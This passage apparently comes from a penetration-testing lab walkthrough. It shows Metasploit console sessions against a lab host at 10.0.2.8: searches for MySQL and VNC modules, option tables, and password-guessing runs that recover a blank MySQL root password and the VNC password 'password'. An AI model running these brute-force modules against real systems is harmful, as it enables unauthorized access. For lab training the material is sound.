17	auxiliary/scanner/mysql/mysql_login		normal	No	MySQL Login Utility
18	auxiliary/admin/mysql/mysql_sql		normal	No	MySQL SQL Generic Query
19	auxiliary/scanner/mysql/mysql_version		normal	No	MySQL Server Version Enumeration
20	exploit/linux/mysql/mysql_yassl_getname	2010-01-25	good	No	MySQL yaSSL CertDecoder::GetName Buffer Overflow
21	exploit/linux/mysql/mysql_yassl_hello	2008-01-04	good	No	MySQL yaSSL SSL Hello Message Buffer Overflow
22	exploit/windows/mysql/mysql_yassl_hello	2008-01-04	average	No	MySQL yaSSL SSL Hello Message Buffer Overflow
23	exploit/multi/mysql/mysql_udf_payload	2009-01-16	excellent	No	Oracle MySQL UDF Payload Execution
24	exploit/windows/mysql/mysql_start_up	2012-12-01	excellent	Yes	Oracle MySQL for Microsoft Windows File Privilege Abuse
25	exploit/windows/mysql/mysql_mof	2012-12-01	excellent	Yes	Oracle MySQL for Microsoft Windows MOF Execution
26	exploit/linux/http/pandora_fms_events_exec	2020-06-04	excellent	Yes	Pandora FMS Events Remote Command Execution
27	auxiliary/analyze/crack_databases		normal	No	Password Cracker: Databases
28	exploit/windows/mysql/scrutinizer_upload_exec	2012-07-27	excellent	Yes	Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Credential
29	auxiliary/admin/http/rails_devise_pass_reset	2013-01-28	normal	No	Ruby on Rails Devise Authentication Password Reset
30	auxiliary/admin/tikwiki/tikdblib	2006-11-01	normal	No	TikWiki Information Disclosure
31	exploit/multi/http/wp_db_backup_rce	2019-06-24	excellent	Yes	WP Database Backup RCE
32	exploit/unix/webapp/wp_google_document_embedder_exec	2013-01-03	normal	Yes	WordPress Plugin Google Document Embedder Arbitrary File Disclosure
33	exploit/multi/http/zpanel_information_disclosure_rce	2014-01-30	excellent	No	Zpanel Remote Unauthenticated RCE

Interact with a module by name or index. For example info 33, use 33 or use exploit/multi/http/zpanel_information_disclosure_rce


```
msf6 auxiliary(scanner/mysql/mysql_login) > set username root
username => root
msf6 auxiliary(scanner/mysql/mysql_login) > options
```

Module options (auxiliary/scanner/mysql/mysql_login):

Name	Current Setting	Required	Description
BLANK_PASSWORDS	true	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.8	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	3306	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME	root	no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/mysql/mysql_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf6 auxiliary(scanner/mysql/mysql_login) > exploit
```

```
[+] 10.0.2.8:3306 - 10.0.2.8:3306 - Found remote MySQL version 5.0.51a
[+] 10.0.2.8:3306 - 10.0.2.8:3306 - Success: 'root:'
[*] 10.0.2.8:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Credentials:

User:root

Pass: blank

```
msf6 auxiliary(scanner/mysql/mysql_hashdump) > search vnc server
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/server/capture/vnc		normal	No	Authentication Capture: VNC
1	exploit/multi/misc/legend_bot_exec	2015-04-27	excellent	Yes	Legend Perl IRC Bot Remote Code Execution
2	post/osx/gather/enum_chicken_vnc_profile		normal	No	OS X Gather Chicken of the VNC Profile
3	payload/cmd/windows/powershell/vncinject/reverse_hop_http		normal	No	Powershell Exec, Reverse Hop HTTP/HTTPS Stager
4	auxiliary/admin/vnc/realvnc_41_bypass	2006-05-15	normal	No	RealVNC NULL Authentication Mode Bypass
5	exploit/windows/vnc/ultravnc_viewer_bof	2008-02-06	normal	No	UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
6	auxiliary/scanner/vnc/vnc_none_auth		normal	No	VNC Authentication None Detection
7	auxiliary/scanner/vnc/vnc_login		normal	No	VNC Authentication Scanner
8	exploit/multi/vnc/vnc_keyboard_exec	2015-07-10	great	No	VNC Keyboard Remote Code Execution
9	payload/windows/vncinject/bind_ipv6_tcp		normal	No	VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
10	payload/windows/vncinject/bind_ipv6_tcp_uuid		normal	No	VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
11	payload/windows/vncinject/bind_nonx_tcp		normal	No	VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
12	payload/windows/vncinject/bind_tcp_rc4		normal	No	VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
13	payload/windows/vncinject/bind_tcp		normal	No	VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)
14	payload/windows/vncinject/bind_tcp_uuid		normal	No	VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
15	payload/windows/vncinject/find_tag		normal	No	VNC Server (Reflective Injection), Find Tag Ordinal Stager
16	payload/windows/vncinject/bind_hidden_ipknock_tcp		normal	No	VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager
17	payload/windows/vncinject/bind_hidden_tcp		normal	No	VNC Server (Reflective Injection), Hidden Bind TCP Stager
18	payload/windows/vncinject/reverse_tcp_allports		normal	No	VNC Server (Reflective Injection), Reverse All-Port TCP Stager
19	payload/windows/vncinject/reverse_http_proxy_pstore		normal	No	VNC Server (Reflective Injection), Reverse HTTP Stager Proxy
20	payload/windows/vncinject/reverse_hop_http		normal	No	VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
21	payload/windows/vncinject/reverse_ord_tcp		normal	No	VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
22	payload/windows/vncinject/reverse_tcp		normal	No	VNC Server (Reflective Injection), Reverse TCP Stager
23	payload/windows/vncinject/reverse_tcp_dns		normal	No	VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
24	payload/windows/vncinject/reverse_ipv6_tcp		normal	No	VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
25	payload/windows/vncinject/reverse_nonx_tcp		normal	No	VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
26	payload/windows/vncinject/reverse_tcp_rc4_dns		normal	No	VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
27	payload/windows/vncinject/reverse_tcp_rc4		normal	No	VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
28	payload/windows/vncinject/reverse_tcp_uuid		normal	No	VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
29	payload/windows/vncinject/reverse_winhttp		normal	No	VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
30	payload/windows/vncinject/reverse_http		normal	No	VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)
31	payload/windows/vncinject/bind_named_pipe		normal	No	VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager
32	exploit/windows/vnc/winvnc_http_get	2001-01-29	average	No	WinVNC Web Server GET Overflow
33	payload/windows/x64/vncinject/bind_tcp_rc4		normal	No	Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
34	payload/windows/x64/vncinject/bind_tcp_uuid		normal	No	Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
35	payload/windows/x64/vncinject/reverse_tcp_rc4		normal	No	Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
36	payload/windows/x64/vncinject/reverse_tcp_uuid		normal	No	Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
37	payload/windows/x64/vncinject/bind_named_pipe		normal	No	Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
38	payload/windows/x64/vncinject/bind_tcp		normal	No	Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
39	payload/windows/x64/vncinject/bind_ipv6_tcp		normal	No	Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
40	payload/windows/x64/vncinject/bind_ipv6_tcp_uuid		normal	No	Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
41	payload/windows/x64/vncinject/reverse_winhttp		normal	No	Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
42	payload/windows/x64/vncinject/reverse_http		normal	No	Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
43	payload/windows/x64/vncinject/reverse_https		normal	No	Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
44	payload/windows/x64/vncinject/reverse_winhttps		normal	No	Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
45	payload/windows/x64/vncinject/reverse_tcp		normal	No	Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager

Interact with a module by name or index. For example info 45, use 45 or use payload/windows/x64/vncinject/reverse_tcp


```
msf6 auxiliary(scanner/mysql/mysql_hashdump) > use 7
msf6 auxiliary(scanner/vnc/vnc_login) > info
```

Name: VNC Authentication Scanner
Module: auxiliary/scanner/vnc/vnc_login
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
carstein <carstein.sec@gmail.com>
jduck <jduck@metasploit.com>

Check supported:
No

Basic options:

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD		no	The password to test
PASS_FILE	/usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt	no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	5900	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME	<BLANK>	no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

Description:

This module will test a VNC server on a range of machines and report successful logins. Currently it supports RFB protocol version 3.3, 3.7, 3.8 and 4.001 using the VNC challenge response authentication method.

References:

<https://nvd.nist.gov/vuln/detail/CVE-1999-0506>

View the full module info with the `info -d` command.

```
msf6 auxiliary(scanner/vnc/vnc_login) > options

Module options (auxiliary/scanner/vnc/vnc_login):
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD		no	The password to test
PASS_FILE	/usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt	no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	5900	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME	<BLANK>	no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 10.0.2.8
rhosts => 10.0.2.8
msf6 auxiliary(scanner/vnc/vnc_login) > set pass_file /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt
pass_file => /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt
```

```
msf6 auxiliary(scanner/vnc/vnc_login) > options

Module options (auxiliary/scanner/vnc/vnc_login):
```

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD		no	The password to test
PASS_FILE	/usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt	no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS	10.0.2.8	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	5900	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME	<BLANK>	no	A specific username to authenticate as
USERPASS_FILE		no	File containing users and passwords separated by space, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE		no	File containing usernames, one per line
VERBOSE	true	yes	Whether to print output for all attempts

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/vnc/vnc_login) > exploit

[*] 10.0.2.8:5900 - 10.0.2.8:5900 - Starting VNC login sweep
[+] 10.0.2.8:5900 - 10.0.2.8:5900 - Login Successful: :password
[*] 10.0.2.8:5900 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Credenciales:

User: blank

Pass: password